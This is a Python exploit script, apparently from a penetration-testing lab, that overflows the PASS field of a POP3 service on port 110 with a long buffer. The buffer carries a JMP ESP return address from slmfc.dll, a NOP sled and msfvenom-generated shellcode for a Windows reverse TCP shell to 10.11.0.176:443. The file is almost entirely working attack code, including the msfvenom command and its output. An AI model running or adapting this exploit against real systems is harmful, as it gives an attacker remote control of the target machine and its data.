#!/usr/bin/env python

#Working version... FINALLY! Thanks hugohirsch.com/?=509

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

#m -p windows/shell_reverse_tcp LHOST=10.11.0.176 LPORT=443 EXITFUNC=thread -f c -b "\x00\x0A\x0D"-e x86/shikata_ga_nai 
#No platform was selected, choosing Msf::Module::Platform::Windows from the payload
#No Arch selected, selecting Arch: x86 from the payload
#Found 10 compatible encoders
#Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
#x86/shikata_ga_nai succeeded with size 351 (iteration=0)
#x86/shikata_ga_nai chosen with final size 351
#Payload size: 351 bytes
#Final size of c file: 1500 bytes

shellcode = ("\xda\xcb\xbb\x69\x17\x2f\xf1\xd9\x74\x24\xf4\x58\x29\xc9\xb1"
"\x52\x83\xc0\x04\x31\x58\x13\x03\x31\x04\xcd\x04\x3d\xc2\x93"
"\xe7\xbd\x13\xf4\x6e\x58\x22\x34\x14\x29\x15\x84\x5e\x7f\x9a"
"\x6f\x32\x6b\x29\x1d\x9b\x9c\x9a\xa8\xfd\x93\x1b\x80\x3e\xb2"
"\x9f\xdb\x12\x14\xa1\x13\x67\x55\xe6\x4e\x8a\x07\xbf\x05\x39"
"\xb7\xb4\x50\x82\x3c\x86\x75\x82\xa1\x5f\x77\xa3\x74\xeb\x2e"
"\x63\x77\x38\x5b\x2a\x6f\x5d\x66\xe4\x04\x95\x1c\xf7\xcc\xe7"
"\xdd\x54\x31\xc8\x2f\xa4\x76\xef\xcf\xd3\x8e\x13\x6d\xe4\x55"
"\x69\xa9\x61\x4d\xc9\x3a\xd1\xa9\xeb\xef\x84\x3a\xe7\x44\xc2"
"\x64\xe4\x5b\x07\x1f\x10\xd7\xa6\xcf\x90\xa3\x8c\xcb\xf9\x70"
"\xac\x4a\xa4\xd7\xd1\x8c\x07\x87\x77\xc7\xaa\xdc\x05\x8a\xa2"
"\x11\x24\x34\x33\x3e\x3f\x47\x01\xe1\xeb\xcf\x29\x6a\x32\x08"
"\x4d\x41\x82\x86\xb0\x6a\xf3\x8f\x76\x3e\xa3\xa7\x5f\x3f\x28"
"\x37\x5f\xea\xff\x67\xcf\x45\x40\xd7\xaf\x35\x28\x3d\x20\x69"
"\x48\x3e\xea\x02\xe3\xc5\x7d\x27\xff\xc5\xcd\x5f\xfd\xc5\x2c"
"\x1b\x88\x23\x44\x4b\xdd\xfc\xf1\xf2\x44\x76\x63\xfa\x52\xf3"
"\xa3\x70\x51\x04\x6d\x71\x1c\x16\x1a\x71\x6b\x44\x8d\x8e\x41"
"\xe0\x51\x1c\x0e\xf0\x1c\x3d\x99\xa7\x49\xf3\xd0\x2d\x64\xaa"
"\x4a\x53\x75\x2a\xb4\xd7\xa2\x8f\x3b\xd6\x27\xab\x1f\xc8\xf1"
"\x34\x24\xbc\xad\x62\xf2\x6a\x08\xdd\xb4\xc4\xc2\xb2\x1e\x80"
"\x93\xf8\xa0\xd6\x9b\xd4\x56\x36\x2d\x81\x2e\x49\x82\x45\xa7"
"\x32\xfe\xf5\x48\xe9\xba\x16\xab\x3b\xb7\xbe\x72\xae\x7a\xa3"
"\x84\x05\xb8\xda\x06\xaf\x41\x19\x16\xda\x44\x65\x90\x37\x35"
"\xf6\x75\x37\xea\xf7\x5f")

#A up until EIP
#send EIP to a JMP ESP instruction in slmfc.dll
#8 bytes of nop
#lastly, out 351 byte shellcode
buffer = 'A' * 2606  + '\x8f\x35\x4a\x5f' + '\x90' * 16 + shellcode


try:
    print "Sending evil buffer..."
    s.connect(('10.11.23.10', 110))
    data = s.recv(1024)
    s.send('USER username + \r\n')
    data = s.recv(1024)
    s.send('PASS ' + buffer + '\r\n')
    print '\nDone!'
except:
    print 'something went wrong'
